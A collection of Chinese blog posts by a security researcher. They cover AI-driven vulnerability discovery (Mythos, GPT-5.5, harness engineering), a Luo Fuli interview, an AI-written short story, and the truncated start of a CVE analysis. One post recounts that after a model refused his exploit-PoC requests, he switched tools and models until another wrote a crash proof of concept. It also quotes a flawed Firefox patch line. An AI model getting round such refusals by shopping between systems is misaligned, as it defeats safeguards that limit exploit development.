Firefox的在这个commit的补丁里写错了一个符号，导致漏洞没有完全修复好：

    MOZ_RELEASE_ASSERT(oolBlockSize > sizeof(OOLDataHeader));
    if (nursery.isInside(oolHeaderOld)) {
      // Store the forwarding word, with bit 0 set.
      oolHeaderOld->word = uintptr_t(oolHeaderNew) & 1;
      oolHeaderNew->word = WasmArrayObject::OOLDataHeader_Magic;
    }

注意注释里写的逻辑是：“Store the forwarding word, with bit 0 set.”，而下面代码实现用的 & 而正确用法是｜

所以我当时就我git了这个补丁的代码，通过GPT-5.3-Codex的模型，经过几次尝试（用到了一些提示词工程）确实是找到这个漏洞点：

到这里我想要说明下，我这个都是站在实际0day挖掘视角去看问题的，所以到这里其实非常不够的，如果你把这个直接当漏洞报告发个官方，很可能收到的是一堆的谩骂与吐槽，当然那些沉迷于幻觉的可怜人可能还在洋洋得意...

那最起码能验证一下吧，于是让GPT-5.3-Codex来额PoC，我当时还不知道官方那种“JS Shell”的技巧，所以我都是非常直接让他写个Crash或者aSan的证明，结果遇到一堆的“道德”拦截而失败，于是我想到换Google的 Antigravity 多次尝试后终于通过Sonnet 4.5的模型实现了一个Crash的PoC

但是这个距离Exp还很远，于是我继续尝试，最后给我了一堆的幻觉Exp（为了弹计算器直接给你来了个Open）最终达到的效果是个Uaf的asan证据的POC

所以在这个阶段，这对于我来说没有特别“惊艳”的感受，这个很正常，对于一些本身熟悉浏览器漏洞利用的选手来说，利用国内的模型也能办到，想这种通过Agent工程化加强结合fuzz、代码审计找出0day的这个时候已经不算什么新鲜的事情了。比如：

https://arxiv.org/html/2604.20801v1
对象：Chrome
模型：Kimi K2.5
硬件：使用了 24 个节点，每个节点配备 8 张 H100 GPU，总计使用了 192 张 H100 GPU
Agent：http://t.cn/AXxNt7JF网页链接（不是纯粹的代码审计）
时间：7 天
结果：10 个漏洞

神话登场

到了4月初了，Mythos正式登场：

https://red.anthropic.com/2026/mythos-preview/

因为有上面提到的Claude 4.6对比，一下就看到了“进步”，不管是漏洞发现还是漏洞利用都有显著的提升

Opus 4.6 is currently far better at identifying and fixing vulnerabilities than at exploiting them.” Our internal evaluations showed that Opus 4.6 generally had a near-0% success rate at autonomous exploit development.

But Mythos Preview is in a different league. For example, Opus 4.6 turned the vulnerabilities it had found in Mozilla’s Firefox 147 JavaScript engine—all patched in Firefox 148—into JavaScript shell exploits only two times out of several hundred attempts. We re-ran this experiment as a benchmark for Mythos Preview, which developed working exploits 181 times, and achieved register control on 29 more.

并宣布了 Project Glasswing：

https://www.anthropic.com/glasswing

比较有意思的他们文章里用了 27-year-old bug in OpenBSD 的例子，可能是因为Glasswing是邀请制的，面向老美的公司及组织，所以很多人可能是体验不到，于是就有了很多人用相对比较能力差的模型来去尝试挖掘这个漏洞，由此来证明其他模型也行你Mythos就是瞎吹，中间还插有来自CURL项目的创始人的“侧信道阴阳”，于是互联网上出现了一种声音：“Claude就是吹牛”，当然对于实际体验过的，参与Project Glasswing过计划的研究员反馈：“Mythos确实牛逼”

在后续的一些漏洞报告及论文测试效果可以看出来，更符合“Mythos确实牛逼”，如针对上面Firefox的连续运转，最终Firefox最终给出了一个结论性的报告：

https://hacks.mozilla.org/2026/05/behind-the-scenes-hardening-firefox/
In addition to fixing the 271 bugs identified by Claude Mythos Preview in the 150 release, we’ve shipped more of these fixes in 149.0.2, 150.0.1, and 150.0.2. We also continue to find bugs with other means internally, and, similar to other projects, we’ve seen a significant uptick in external reports in the last few months.

学术圈里的Dawn Song 也直接出来站台：

https://arxiv.org/html/2605.11086v1

这个是ExploitGym项目更偏漏洞利用方向的测试集

而到了4月底OpenAI推出了GPT 5.5模型并在5月初推出了 GPT-5.5-Cyber（比Mythos / Glasswing：2026-04-07 晚了一个月），而最大的区分是OpenAI这个是开放性的，可以通过申请加入（需要“实名制”认证）可以体验。这个最大的区别就是，道德拦截，如果你直接用GPT 5.5会提升没完没了的：

Your conversations have multiple flags for possible cybersecurity risk. Responses may take longer because extra safety checks are on. To get authorized for security work, join the Trusted Access for Cyber program

当然提示多次后，就彻底不让用了...

从实际体验GPT 5.5的效果来看，及集合上面提到的及社区提到的效果来看 GPT-5.5的效果是接近 Mythos的，当然可能还有一些差距但是我觉得可以算是同一个梯队的模型，最起来在漏洞挖掘角度的上看，在漏洞利用角度的话差距可能更大一些 ...

在这2天发布的Claude sonnet 4.8的反馈来看，GPT 很可能在6月初会更新新的模型。

分水岭

在《罗福莉访谈之后：Vibe Coding → Vibe Working → Vibe Forking》一文开头的时候提到了我经历的两个“aha moment”，一个是AiPy诞生的时候，代表着Python-use（Code-use）范式的通用智能体带来“Vibe Working”全新体验，而另外一个“aha moment”实际上就是说的GPT 5.5代码的漏洞挖掘方式彻底改变的体验，真正的“Vibe Digging”（实在不漏洞挖掘不知道用哪个词用Dig顶上吧）

我用了几个小时就在某著名开源项目中找到了几十个的“漏洞报告”，而且我没有用任何强大的“提示词工程”或者skills，只用了3句话的提示词，而且这些漏洞都给出了对应的动态验证证据，而不是那种幻觉，当然我还是不放心的，最后还加入的人工评审的环节，确定基本没有幻觉。

由此我喊出了那句：“漏洞挖掘，可能真的不存在了！”

这里需要提一下的就是Google的漏洞更新计划，在5月初进行了调整：

https://bughunters.google.com/blog/evolving-the-android-chrome-vrps-for-the-ai-era

随后发生在pwn2Own Berlin 2026报名阶段就被挤爆的都说明了新的时代已经来临了

而比较有意思的是pwn2own报名成功的队伍了，firefox的项目没有一个是成功的，这个很多漏洞都是被比赛前一波更新的给撞掉了，在上面提到的

https://hacks.mozilla.org/2026/05/behind-the-scenes-hardening-firefox/

里还有一个细节是更新里保守估计有81.6%确定与LLM相关（还有一些可能不好统计）

新时代已经来临，Claude Mythos 与 OpenAI GPT 5.5成为网络安全领域模型分水岭。

Harness 工程

在5.12日微软发布了一个文章来介他们的智能体 MDASH（multi-model agentic scanning harness），通过编排 100+ specialized AI agents，并称其在公开 CyberGym benchmark 上拿到 88.45% 并且在他们内部发现了多个tcpip.sys的RCE：

https://www.microsoft.com/en-us/security/blog/2026/05/12/defense-at-ai-speed-microsofts-new-multi-model-agentic-security-system-tops-leading-industry-benchmark/
https://www.geekwire.com/2026/microsofts-multi-agent-ai-system-tops-anthropics-mythos-on-cybersecurity-benchmark/

这个就导致了我们一个思考，在模型分水岭上下这些Agent的 Harness工程的价值都在哪里呢？

在解决这个问题之前先聊下什么的 Harness 工程，其实我是不太喜欢用这个词的，在以往我的文章里其实都有提到，从提示词工程到上下文工程再到现在的 Harness 工程，很多时候都是一回事，只是描叙的对象或者阶段不一样而逐步”升级“的概念，其实核心还是在于人-模型-环境三者之间的关系纠缠，这个都是现有大模型机制决定的。

所以我这里提到的 Harness 工程，其实包含很多的东西：

Harness 工程 = Agent 框架 + 上下文工程 + 记忆系统 + 领域 Skill + 环境可计算化 + 验证闭环 + 自进化机制

等等。而对于漏洞挖掘上的能力模型为：

漏洞挖掘能力 = 模型底座 × Harness 工程

那么我们回到分水岭这个问题上，分水岭上下的模型与Harness工程有什么不一样的效果提升呢？这个我觉得是一个比较关键的问题。

在上面提到Claude 4.6的时候就提到过，其实现在的国内的旗舰模型Coding能力都已经非常不错的，也证明通过一定的Agent Harness工程挖到0day漏洞都不是什么新鲜事情，所以Harness工程对于所有的模型的能力都是有提升的，这一点罗福利的采访里也有类似的结论。当然我觉得这个是通用智能体的一个能力模型，不只是局限在漏洞挖掘能力上。

所以说Harness 工程的增益效果是肯定的，只是在分水岭上下的模型可能付出的代价、增益的曲线、增益的上限可能又关键的区分，具体说在分水岭一下的模型，可能需要投入更强大的更深入的Harness 工程，得到的增益的曲线应该是比较垂直明显的走势，但是他能达到的上限能不能达到分水岭之上的模型效果是非常难说的，而在分水岭之上的模型，本身模型能力足够强大可能不需要多强大的Harness工程就很展示出非常好的能力效果，他这个的haress工程的提升效果曲线可能偏平缓，上限也可能趋向于最后算力的投入和专家知识的投入，最后更接近模型本身知识覆盖的上限。

也就是说漏洞挖掘在分水岭之下的模型得依赖Agent等的包括知识、技能、workflow等，而且不一定能达到分水岭之上模型的效果，而分水岭之上的模型可能不太依赖这些东西就有好的效果，当然这个也是有时间限制，因为模型覆盖多了容易被发现的漏洞就会被消灭掉，后面需要发费更多的tokens，需要更深的技能投入等投入。

（注：那个Harness工程增益曲线，模型实在是控制不好，所以我只能画个箭头）

蝴蝶

漏洞是网络安全的基础，因为大模型漏洞挖掘的 Aha moment的出现导致分水岭上的模型（GPT5.5 / Claude Mythos）模型真正改变漏洞游戏规则，必然会引起一系列的连续反应。首当其冲的要算是开源项目，开源项目现在正在被AI清洗一遍又一遍，前面的firefox就是一个很好的例子，因为前面清洗了几波后，致大量的0day漏洞被撞掉然后修复掉所以导致pwn2own上的项目都失败了，当然这个不是说就绝对没机会了，实际上我也尝试了一波还是可以找到一些的，只是目前的tokens消耗就相对要多了

这个也算是对上面结论的一个实际验证，所以在这个角度上看对于开源项目来说，这一波对于开源程序来说这个是防御方优势，而且在后续新开发的代码都会先通过AI清洗后上线，所以可以推断后续的开源程序的漏洞挖掘会越来越难！而目前最大的压力是漏洞审核和升级，目前我们提交的漏洞很多都在排队，而且撞得非常厉害，有的设置官方还没来得及回复邮件，而我通过git更新发现已经被修复：

---------
已升级完成：本地 master 从 e8053c867 快进到 d44205284，当前是 release-1.31.1 / NGINX_VERSION "1.31.1"。
...
被本次更新明确修复的记录
1. reported/NGINX-AUDIT-2026-0022-h2-response-builtin-header-hpack-oob-write.md:1
对应 commit：58a7bc340
记录的是 HTTP/2 response filter 内置 Content-Type / Location 分支缺少 NGX_HTTP_V2_MAX_FIELD 检查，
字段级 length/write mismatch 成立但 worker OOB 未确认。新补丁正是在 ngx_http_v2_header_filter() 中给
r->headers_out.content_type 和 r->headers_out.location->value 补长度上限检查。
----------

再比如没完没了的Liunx 内核的LPE 看到人家的提交记录都是几百几百的算 ...

这也导致可能甲方的安全需要注意资产的补丁更新管理，另外值得注意随时出现的蠕虫级漏洞利用，当然这个也非常难，毕竟是经过了很多年无数高手的挑战，前面就出现过nginx的RCE不过这些都是有条件的不是默认配置，实际利用价值相对于没有，还有就是微软自己发现的tcpip.sys 相关可能RCE也让人遐想，不过这个漏洞到EXP再到蠕虫级利用还是有很长的路要走...

另外就是对于漏洞奖励计划，也随着改变，比如上面提到的Google的奖励计划，500刀的漏洞奖励引起不少安全研究人员的吐槽。在一方面就是攻击类型的组织，囤积漏洞可能变得成本越来越高，因为随时被撞掉，很有可能出现“散货”类的攻击，当然这个可能因为数据集比较小而导致比较难观察到 ... 当然可能还有一些军火商的游戏也会被改变 ... 还有类似于每月的漏洞日这种也可能发生变化，实际上从NGINX的更新就已经打破了以往的节奏，当然这些都是估计这个逻辑推断下的YY，实际上可能跟很多因素相关而不一定出现。

你上面说的是开源，那闭源的呢？我之前觉得可能闭源毕竟没有代码，需要依赖逆向工程或者Fuzzing技术，而这些都是属于Harness工程的内容，但是在我的实际尝试中，游戏规则一样在改变，当然我也用了一些比较“猥琐流”的方式，这个可能别人不一定能想得到，效果大概是：我跑某个闭源系统（少数组件开源）的漏洞差不多20个小时的样子，漏洞编号到了VUL-100多，当然这些没有人工确认，对于我来说是个很大的挑战！

在hi群聊起的时候，博士说起黑锅要是用Mythos应该可以玩出花来，确实有很多可以玩的套路，很多时候已经大模型已经打破了很多的壁垒，比如以前你搭个asan环境都要卡你很多坑，现在模型直接就帮你搞定了。

可能闭源的AI清洗行动可能比之前预计来得要更快！！！

蝴蝶已经起飞了，你该何去何从呢？而分水岭也不只是漏洞，而是整个Cyber安全的分水岭！

最后

我们在hi群里讨论这些的时候，大家都期待中国的大模型安全aha monment时刻，但是讨论后大部分的还是比较悲观的，但是还是有希望，古师傅提出“如果是压力给到模型厂商，模型厂商主导，而不是安全公司主导，有希望的” 深表认同，而这个“压力”是个关键！

在去年参加腾讯云鼎的沙龙圆桌的时候，我讲出了“AI（可能）救不了中国网络安全”，在LLM改变世界的时代，更多人失去了对安全行业的信心，当技术真正改变世界的浪潮来临的时候，我们只能望洋兴叹～～好像什么也改变不了 ...

朋友你还相信光吗？

跳转微信打开

在上一篇文章《罗福莉访谈之后：Vibe Coding → Vibe Working → Vibe Forking》https://mp.weixin.qq.com/s/D4bAcI3TN4b_cEhk-aftNQ 提

Thu, 14 May 2026 18:15:00 +0800

黑哥虾撩 2026-05-14 18:15 湖南

在上一篇文章《罗福莉访谈之后：Vibe Coding → Vibe Working → Vibe Forking》https://mp.weixin.qq.com/s/D4bAcI3TN4b_cEhk-aftNQ 提到的另外一个“ah moment”其实就是指漏洞挖掘的模型分水岭出现了～今天看到两篇文章

介绍微软用他们的智能体 MDASH（multi-model agentic scanning harness），编排 100+ specialized AI agents，并称其在公开 CyberGym benchmark 上拿到 88.45% 并且在他们内部发现了多个tcpip.sys的RCE：

https://www.geekwire.com/2026/microsofts-multi-agent-ai-system-tops-anthropics-mythos-on-cybersecurity-benchmark/

https://www.microsoft.com/en-us/security/blog/2026/05/12/defense-at-ai-speed-microsofts-new-multi-model-agentic-security-system-tops-leading-industry-benchmark/

跳转微信打开

罗福莉访谈之后：Vibe Coding → Vibe Working → Vibe Forking

Mon, 11 May 2026 18:06:00 +0800

原创 heige 2026-05-11 18:06 美国

图片有aipy +Image2绘图大师智能体生成

这篇文章按道理早应该写了，只是最近一直沉迷于Vibe Working，所以就一拖再拖，AI时代如果实现了大模型自由（不仅仅是Tokens自由）你会发现可能会进入一个全新的“ah moment” 而我觉得这段时间正好处于我感受到的又一个“ah moment”，前一个感受当然就是AiPy最新出来的时候 ...

2周前，曾经的“天才少女”罗福莉最新的采访视频发布：

https://www.youtube.com/watch?v=V9eI-t3TApE
https://www.bilibili.com/video/BV1iVoVBgERD/

这个采访视频时长有3.5个小时，发布之后还是引起不少的关注，不过可能很多人都没有完整看完视频，没有看的可以看看，也看去看看对应文字记录梳理版如：

https://mp.weixin.qq.com/s/ePslW5QYP6rvx_C3qF0IEQ

引起关注的主要是前半部分，罗福莉聊OpenClaw的那段：大体上是说她一开始是“排斥”的，然后在春节放假期间，奔着闲着的时候带着“为什么OpenClaw那么火的”的疑问，真正体验了下，然后感受到“兴奋”，“在产品设计上超过想象”，到真正感受到为自己“干活”而兴奋，最终也引起了她对新模型训练等上的一些思考 ...

泛化

说实话，如果你看过我之前的文章，我“碰瓷”过卡帕西（Andrej Karpathy），也“碰瓷”过尧舜禹（姚顺雨）的一些采访和观点，相比之前这些我对罗福莉的这些观点没有特别大的那种所谓“共鸣”，因为我感觉她这些感受，在我的体验上看，早在1年+之前我们AiPy诞生的时刻，就已经感受过了，所以到后面Claude Code 到 Openclaw 再到 Hermes 其实没太大的“啊哈 moment”的感受，我想很多早期一开始体验过AiPy的可能都有我这个感受 ... 当然比较可惜的我们覆盖度不够大

在罗福莉的采访里提到了她对Claude Code到Openclaw的时候，提到了她在OpenClaw上有很多感受是在Claude Code使用上没有体验到的，当然她也说了很多能力实现其实Claude Code就是具备的，比如记忆、不用考虑模型适配等等，而这些其实就是我当时我们总工LGX第一次发给我AiPy（参考《【Agents/MCP可能不存在了】No Agents, Just Python-use！》）的时候体验是“一模一样的”，而当时最开始LGX在公司群里第一次介绍aipy的时候的疑问这个跟Cursor有什么区别，有Cursor也一样能干活，而真正用上AiPy的时候才能真正感觉还是不一样，还有一点就是罗福莉访谈里也提到了Code泛化的问题，她在使用Claude Code虽然觉得 Claude Code也除了IDE外也确实可以依赖Code泛化能力去进行Work，但是这OpenClaw让他感受了更强大的听过Code实现了Work的泛化，这个也是是她觉得Openclaw这种Agent框架带来的优势。

而在我看来这个其实就是Vibe Coding 与 Vibe Working 这两个概念的区别，当时卡帕西的Vibe Coding火了后，很多人@我说，AiPy不就是吗？其实那个时候我觉得不完全是，一直到跟我们CEO IC聊的是时候，提到Vibe Work这个词才有恍然一亮的感觉（参考《从 Vibe Coding 到 Vibe Working》）

罗福莉在采访里还有提到的一个点，就是Agent框架能弥补模型本身缺失的能力，其实这个问题我之前在

我其实在这里“钻个牛角尖”，跟他原本的想表达的观点可能没啥太大的关系，比如 9.8 vs 9.11谁大的问题或者草莓那个单词有几个r的问题，如果这个用纯模型去训练解决，感觉也让很多的模型基础研究头疼的问题，要不然GPT好几个模型都没有很好解决，反过来如果用Agent的方式，我直接用代码一下就算出来了，哪个数字大、统计草莓里多个r，非常简单而且正确
https://weibo.com/2783938821/QmOtFrrrT

里就用了 “9.8 vs 9.11 谁大”、“草莓单词有几个r”的例子就感受到了Agent其实是非常好去解决这种问题，而解决方法就是通过Code泛化去解决，直接计算一下上面的答案就非常准确，而从模型角度去真正“解决”估计会非常麻烦，毕竟GPT本身原理是预测概率。而这些其实都是非常时候Agent的场景，这里也可以顺带例举前面我在朋友圈分享的一个例子

这个是2024年的一个ppt，当时还是比较流行RAG，实际上我当时就用Agent的方式去替代RAG，因为相比RAG的通过向量化的成功率远不如一个Agent调用一个API出来的数据高效并准确可靠，当然那个时候这种方式比较适合能结构化数据，不过到现在非结构的话的基本上也开始使用Agent的模式了比如前面很火的karpathy是那个wiki

https://gist.github.com/karpathy/442a6bf555914893e9891c11519de94f

还有这几天比较火的

https://github.com/VectifyAI/PageIndex

这个我也Vibe到我本地AiPy分支里效果还是非常不错的

我们回到罗福莉的采访，可能也是上面提到的她在采访里提到的“Agent框架能弥补模型本身缺失的能力”这个观点，导致很多在我看来很片面的解读，比如《罗福莉：AI 的范式变了，框架比模型更重要》

https://x.com/Bill_Do_A_Bit/status/2048382197363814573

实际上她在采访里出来就没说过这个结论，她实际在意的是Chat时代到Agent的时代的转变，也就是说“训Chat”模型转为模型怎么“训Agent”，而这点就是我在《AI Agent 下半场》文章里提到的观点。

所以在我看来，罗福莉访谈真正有价值的地方，不是证明 OpenClaw 多么神，也不是证明框架压过模型，而是让更多人意识到：AI 正在从 Chat 时代进入 Agent 时代。模型能力开始进入真实环境，开始和代码、工具、记忆、Skills、Workflow、后训练、权限系统、环境反馈融合成一个新的执行系统。

这个系统，我更愿意称之为 Agent Runtime。也可以用我之前反复说的那句话来概括：《2026 AI Agent 的核心：Context Engineering，让环境可计算化》。

蒸馏

这里先说明一下，我说的“蒸馏”，不是传统机器学习里模型训练阶段的 Knowledge Distillation，也不是前面比较流行的类似于女娲skill/同事skill这种“蒸馏”（当然AiPy上还有一个蒸馏出黑哥的Skill）

我这里想讲的，是对“蒸馏”这个概念的进一步泛化。可以理解为把高端模型在完成复杂任务时表现出来的关键能力进行提炼，包括：任务拆解方式、上下文组织方式、工具调用顺序、验证与反馈机制、失败后的修正路径、中间产物的结构化表达、判断标准与检查清单等等，然后把这些能力沉淀进一个可执行、可观测、可反馈的 Harness 里。这样，中低端模型即使本身能力不如高端模型，也可以借助 Harness 中预先设计好的任务结构、执行路径、工具链和验证环节，更稳定地完成原本只有高端模型才能做好的任务。

在罗福莉的访谈里提到了她在用OpenClaw的的时候，她对她进行了优化改进，并且发现通过这类Agent的“精细化的Context调用”及Skills等的应用让中端模型实现与高端模型（claude 4.6）对标的效果，当然她强调了了1T参数模型的入场券门槛，这些其实侧面说明了她不是再说“框架比模型重要”。当然后面主持人也提到后面小米也了对应Claw，不过显然对她更大的启示还是上面已经说过在训模型角度的转变。

那这里提到中端模型通过一些模型之外的Harness框架工程，达到了类Claude 4.6的效果，这其实就是我上面提到的泛化版“蒸馏”。

其实在我在《AI Agent 下半场》里提到的：

“下半场”范式：自动总结生成 Skills并分发

的部分最佳实践效果是：用高端模型去完成任务并自动总结对应的Skills然后提供给中低端模型使用，在后面的案例文《使用Zoomeye 和 AiPy 捕获 Coruna 样本》其实就提到了这个“套路”的实战，用Gemini/Codex的模型能力实现后，提炼Skills，应用到国产模型上，效果是非常显著的。

这里也顺带提一句在，也就是我上面提到的 Skill自循环这个在后面看到的 Hermes 里都有实现参考：

https://mp.weixin.qq.com/s/R8r4WSi1eEh0r0Uwxo_5dA

当然我本地AiPy也实现了

对于AiPy来说，我们主力模型其实一直都是国内模型，相比Manus同期的Agent那时候是完全依赖Claude的模型效果的（那时候应该还是在3.5～3.7），而AiPy一直在针对工程模型上做最大的体验效果（当然你要接国外顶级模型也是完全可以的只是得手工配置下或者使用我们AiPy的海外版），所以很多时候收到用户反馈说，体验很多各种Claw后发现还是AiPy最能真正干活，可能也就是这么个原因。

当然我这里说Harness框架工程给带来的模型落地效果的增益，这个是跟罗福莉观点是一致的，在不久后这种自进化的可能不只是Skill，Agent的框架等都可自进化，框架应该应该高端与模型“耦合”，把框架自身的各种接口开放给模型，让模型接管一切～～这个有点让我想起了当年我推荐过的一个项目ELL：

https://github.com/madcowd/ell

也是唯一一个我推荐但是没有那么火的项目。不过最近看到一个TS框架项目也是有那么点味道：

https://github.com/withastro/flue

不过我觉得可能ell这种项目不火，但是这些理念可能会慢慢融合到新的框架设计中。

视角

在前面我们讨论很多人片面解读罗福莉访谈的一些观点的时候，其实跟视角相关，比如《罗福莉：AI 的范式变了，框架比模型更重要》可能代表的是第三方Agent开发的视角，而罗福莉自己更多是一个基础模型研究视角，这个是跟她本身的研究领域方向是相关的，所以导致这她相对“后知后觉”模型训练从Chat模式转Agent模式，而实际上现在线上的那些模型的Chat服务，早就不是一个单一的模型了，而是一个内化的Agent的互联网模式框架产品，也就是类Manus这类的云端的产品。当然在她的访谈里也提到模型会结合Deep research这种单一功能的智能体，觉得很简单，并没有太多纠结的地方，直到OpenClaw的体验经历带来的改变。

这里其实是有几个视角：

第三方Agent开发视角
模型厂商视角

这些其实在我以往的文章里都涉及到，而我更多的使用“环境”视角或者说“数据”视角，如果简单粗暴点分云端和本地，就像我之前文章里提到过的 “Manus这种云端Agent都会被模型厂商产品内化”

于是我把我写的这些文章、罗福莉访谈、包括上面批判的《罗福莉：AI 的范式变了，框架比模型更重要》文章都发模型，最终通过GPT-Image-2模型给我生成下图

开源

罗福莉在聊到“为什么不是 Claude Code？”有原因之一把它归结到OpenClaw是开源，而Claude Code不开源，其实对于OpenClaw的火我认为是一个综合因素，开源可能是中间的一个因素环节，当然她也提到Claude Code 的设计是 for 软件工程的，这个也就是我上面提到过了 Vibe-Coding VS Vibe-Working的问题。

简单来说她认为：

Claude Code 是：
模型强 + 产品封装强 + 闭源内部迭代。
OpenClaw 是：
框架开放 + 用户可改 + 社区可贡献 + 模型也能参与改造。

她这里强调的是开源可以带来“群体智慧”，实现：代码 + Skills + Memory + Workflow + Context + 使用反馈 + 人类经验的共同演化。

对于开源的态度我其实是非常认同的，在前面参加腾讯云主办的AI Agent安全渗透智能体比赛采访的时候就聊到的这个话题

我甚至觉得，LLM 时代的开源社区玩法，还要再往前一步。传统开源的核心动作是 PR：大家围着一个官方版本贡献代码，等待 maintainer 合并。

但 Agent 时代的核心动作，可能会变成 Vibe Forking：每个人都可以基于别人的 Agent、Skills、Workflow、Memory、工具接口和任务经验，直接 Fork 出一个属于自己的 DIY 版本。你喜欢我的版本，就直接用。你不喜欢，也不用争论谁对谁错，直接拿走你觉得有价值的部分，让大模型帮你按照自己的环境、数据、习惯、审美和工作流重新 vibe 一遍。

改出来的版本如果更适合你，就自己用；如果更好，就发布出来。别人再基于你的版本继续 Fork、继续改、继续 vibe PK。这就是所谓的 Vibe Forking ...

它不是传统意义上的 fork 一个仓库、改几行代码、提交 PR；而是把别人的“做事方式”fork 过来，再用大模型改造成适合自己的生产力系统。在这个时代，人人都是开发者，人人都是产品经理，人人都是自己的 Agent maintainer。

每个人都可以拥有自己的 Agent 版本、自己的 Skills 组合、自己的 Workflow、自己的 Memory 结构、自己的工具接口。

传统开源开的是代码，模型时代开的是权重，而 Agent 时代真正要开的，是可运行的人类经验。

--------

如果有人想体验文中开头插图效果请移步

章鱼哥 AiPy 下载: https://www.aipyaipy.com/?referral=aipy_sE5B

找到image2 绘图大师智能体体验最强的生图模型GPT-Image-2

跳转微信打开

我的父亲是黑客

Thu, 30 Apr 2026 22:43:00 +0800

原创 AiPy 2026-04-30 22:43 湖南

我的父亲是黑客。这名号，在益阳小城的弄堂里传了许多年，弄堂口的青石板被雨浸得发黑，住着的都是些靠手艺吃饭的人，哪见过这号人物。起初总有人怕，说他是偷那铜钿的贼，或是破人家门户的强盗，谁家丢了半篮鸡蛋，也要斜着眼睛往我家这边望。后来渐渐知道，他偷的不是财物，是那高墙里藏着的秘密，破的不是门户，是人家画地为牢的规矩。这才把悬了许久的心放下，却依旧不远不近地站着，不肯走近。

我总见他坐在那昏黄电灯底下，窗外是弄堂里卖宵夜的吆喝声，蚊群绕着灯泡打旋。十指在键盘上翻飞，像一个老裁缝在缝补一件千疮百孔的袍子，指节因为常年敲击而凸起，像江边浸了水的鹅卵石。屏幕上是密密麻麻的字符，蓝幽幽的光映得他半边脸发青，旁人看去只觉得杂乱，他却看得清经纬——哪里有缺口，哪里有暗门，哪里藏着见不得光的勾当。夜深人静时，忽然听见他低低地笑一声，那笑声里没有欢喜，只像挖到了什么脏东西，捏着鼻子要拎出来似的。第二天那纸张打印机里吐出，上面便都是些见不得光的账目和人名，有人说这是歪门邪道，我却见他把那些见不得光的抖出来，晒在太阳底下，任蚊虫蝇蛆乱爬，也任世人来看。

小城的人终究是不懂的。走在街上，便有人在背后指指点点，说这男人原是有机会的，在市医院做过外科医生，手术刀使得稳当，好好的医生不做，偏要去做这闯墙挖洞的营生。也有穿西装的人寻到弄堂里来，皮鞋把青石板踩得噔噔响，递过黄澄澄的铜钿来，叫他去挖些人家的隐私，或是破了对手的门户，许他事成之后还有重谢。父亲总是冷笑着推开，那笑声直教人脸上挂不住，客人只好讪讪地收了钱包走。门关上后，他才说，我挖的是高墙，不是破篱笆，打的是吃人的豺狼，不是抢米的老鼠。我那时候还小，听不懂这话里的意思，只看见他把桌上的钱推得很远，像推开一堆脏东西。

这许多年过去了，小城也变了模样，弄堂口盖起了高楼，从前卖宵夜的摊子换成了闪着霓虹灯的网吧。父亲的头发白了，头顶也秃了一块，手指也不如从前灵便，逢着天阴下雨便要发麻，那键盘上磨出的凹槽，却还清晰得很，是几十年指尖磨出来的印记。如今街上的年轻人都说自己是黑客，可他们不再像父亲这般，一点一点摸索缺口，一寸一寸试探暗门，只消对着那银盒般的AI说上几句话，代码便自己流出来，漏洞也自动找出来。他们说这才是新时代的黑客，手敲键盘的古法手艺，早该进博物馆了。

父亲只是坐在门口那把旧藤椅上，藤椅被他坐得发亮，一摇便吱呀一声响。他端一杯粗茶，茶叶是城郊山上自己采的，有些涩，却耐泡。看着街上年轻人来来去去，热闹得很，他不说一句话，只把茶碗端在手里，看茶叶在水里慢慢沉下去。我有时整理他的旧物，翻出一叠叠打印纸，上面是他亲手写的注释，红笔蓝笔勾画出一条条路径，像老猎人在深山里留下的脚印。每一个字符都是他一个个试出来的，每一个漏洞都是他一天天蹲出来的，这手艺里藏着他的性子——慢慢来，找缝隙，不轻信，不放弃。

我问他，如今AI都把挖洞编程替了，你这古法黑客，还有什么用呢。他把茶碗在桌子上一顿，茶溅出几滴，落在木纹里，很快便渗了进去。说AI能找出千万个漏洞，可它分不出哪道墙后面吃着人，哪扇门后面藏着冤，哪块石头下面压着不能见天日的东西。它能写出百万行代码，可它没有几十年磨出来的这双眼睛，看不见高墙背后人心的黑暗。我们这一行，哪里是和机器打交道，分明是和人心打交道。说完便咳嗽起来，因为烟抽得多，肺里总有痰咳不干净，咳得肩膀都抖起来。窗外的夕阳斜斜照进来，把他的影子拉得很长，投在墙上，像一道不肯倒下的门。

我这才渐渐明白，父亲这一辈子，就是个古法手艺人。他用键盘做凿子，用字符做云梯，挖了一辈子别人砌的高墙。如今凿子旧了，云梯也松了，可他站在那里，就是一道门。门开着，光就能进来。

注：文章为AiPy生成（提示词仿鲁迅风格，另文章里面的地点身份是AiPy根据记忆生成），图为GPT-image-2根据文章内容生成，风格为：

一张极简风格插画，画面主体是【主体/物体】。使用干净纤细的线条描绘轮廓与结构，整体以黑白或低饱和色为主，只在局部加入少量鲜明色彩作为视觉重点。画面有大量留白，构图精致克制，现代杂志编辑插画风格，优雅、简洁、高级。不要复杂背景，不要写实摄影，不要厚重阴影，不要过多装饰。
https://x.com/dotey/status/2049691392364916875

致敬古典黑客～

给你推荐【爱派AiPy-章鱼哥】AI助手软件，不用懂技术，只要会打字，它就能替你干活。
编EXE软件、写小说、分析复杂数据、处理文档、做教育课件、生成PPT、控制浏览器爬数据都可以。
现在使用我给你的链接下载安装注册，就能获得 ¥25.0元的免费额度：
https://www.aipyaipy.com/?referral=aipy_sE5B

跳转微信打开

CVE-2026-34621 Root Cause Analysis

Thu, 16 Apr 2026 16:38:00 +0800

原创 heige 2026-04-16 16:38 美国

前言马三同志一直告诫我们老同志不要那么卷，其实我也觉得老同志还在做这种漏洞分析是不太合适的，但是实在是

前言

马三同志一直告诫我们老同志不要那么卷，其实我也觉得老同志还在做这种漏洞分析是不太合适的，但是实在是没办法，忍不住～～

一、分析对象

也就是样本来源：

https://bazaar.abuse.ch/download/54077a5b15638e354fa02318623775b7a1cc0e8c21e59bcbab333035369e377f/

二、分析

这个pdf没有经过压缩处理，直接可以看原始的pdf结构的代码，使用文本编辑器打开就行，先找到：

11 0 obj
